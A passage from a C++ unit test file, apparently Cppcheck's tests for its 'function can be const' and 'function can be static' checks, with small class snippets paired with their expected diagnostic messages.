{\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; b = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const3() {\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { *a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { s = *a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; s = *b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const4() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \"};\\n\"\n \"int Fred::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:11]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo();\\n\"\n \"};\\n\"\n \"const std::string & Fred::foo() { return \\\"\\\"; }\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:5:27]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // functions with a function call to a non-const member can't be const.. (#1305)\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b();\\n\"\n \"};\\n\"\n \"void Fred::b() { a(); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get();\\n\"\n \"};\\n\"\n \"static unsigned Fred::get() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Fred::foo() { s = \\\"\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; b = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { *a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { s = *a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; *b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; s = *b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; *b = s; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // check functions with same name\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \" void foo(std::string & a);\\n\"\n \" void foo(const std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo() { }\"\n \"void Fred::foo(std::string & a) { a = s; }\"\n \"void Fred::foo(const std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:7:32]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // check functions with different or missing parameter names\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo1(int, int);\\n\"\n \" void foo2(int a, int b);\\n\"\n \" void foo3(int, int b);\\n\"\n \" void foo4(int a, int);\\n\"\n \" void foo5(int a, int b);\\n\"\n \"};\\n\"\n \"void Fred::foo1(int a, int b) { }\\n\"\n \"void Fred::foo2(int c, int d) { }\\n\"\n \"void Fred::foo3(int a, int b) { }\\n\"\n \"void Fred::foo4(int a, int b) { }\\n\"\n \"void Fred::foo5(int, int) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::foo1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:10:12]: (performance, inconclusive) Technically the member function 'Fred::foo2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:11:12]: (performance, inconclusive) Technically the member function 'Fred::foo3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:12:12]: (performance, inconclusive) Technically the member function 'Fred::foo4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:13:12]: (performance, inconclusive) Technically the member function 'Fred::foo5' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // check nested classes\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:6:12]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::A::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:7:14]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n // check deeply nested classes\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB() { return b; }\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\"\n , errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \" };\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:9:16]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \" int B::A::getA() { return a; }\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:10:15]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::B::A::getA() { return a; }\\n\"\n \"int Fred::B::getB() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:12:14]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:11:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator< can often be const\n void constoperator1() {\n checkConst(\"struct Fred {\\n\"\n \" int a;\\n\"\n \" bool operator<(const Fred &f) { return a < f.a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::operator<' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator<<\n void constoperator2() {\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" std::cout << foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Fred::x' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator3() {\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) const { return array[index]; }\\n\"\n \" int & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style, inconclusive) Technically the member function 'Fred::operator[]' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator4() {\n // #7953\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint*' can be const. [functionConst]\\n\", errout_str());\n\n // #2375\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (style, inconclusive) Technically the member function 'Fred::operatorint**' can be const.\\n\", \"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { array[0] = 0; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constoperator5() { // ticket #3252\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint&' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorint' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator6() { // ticket #8669\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \" void f() { os >> *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const5() {\n // ticket #1482\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \" bool foo(int i)\\n\"\n \" {\\n\"\n \" bool same;\\n\"\n \" same = (i == a);\\n\"\n \" return same;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const6() {\n // ticket #1491\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct fast_string\\n\"\n \"{\\n\"\n \" union\\n\"\n \" {\\n\"\n \" char buff[100];\\n\"\n \" };\\n\"\n \" void set_type(char t);\\n\"\n \"};\\n\"\n \"inline void fast_string::set_type(char t)\\n\"\n \"{\\n\"\n \" buff[10] = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const7() {\n checkConst(\"class foo {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" void set(int i) { a = i; }\\n\"\n \" void set(const foo & f) { *this = f; }\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const8() {\n // ticket #1517\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A():m_strValue(\\\"\\\"){}\\n\"\n \" std::string strGetString() { return m_strValue; }\\n\"\n \"private:\\n\"\n \" std::string m_strValue;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const9() {\n // ticket #1515\n checkConst(\"class wxThreadInternal {\\n\"\n \"public:\\n\"\n \" void SetExitCode(wxThread::ExitCode exitcode) { m_exitcode = exitcode; }\\n\"\n \"private:\\n\"\n \" wxThread::ExitCode m_exitcode;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const10() {\n // ticket #1522\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x : x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x = 0 : x; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const11() {\n // ticket #1529\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" void set(struct tm time) { m_time = time; }\\n\"\n \"private:\\n\"\n \" struct tm m_time;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const12() {\n // ticket #1525\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { x = 0; }\\n\"\n \"private:\\n\"\n \" mutable int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const13() {\n // ticket #1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::vector GetVec() {return m_vec;}\\n\"\n \" std::pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:27]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::vector & GetVec() {return m_vec;}\\n\"\n \" const std::pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:30]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:35]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const14() {\n // extends ticket 1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double> GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:38]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:53]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:60]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" 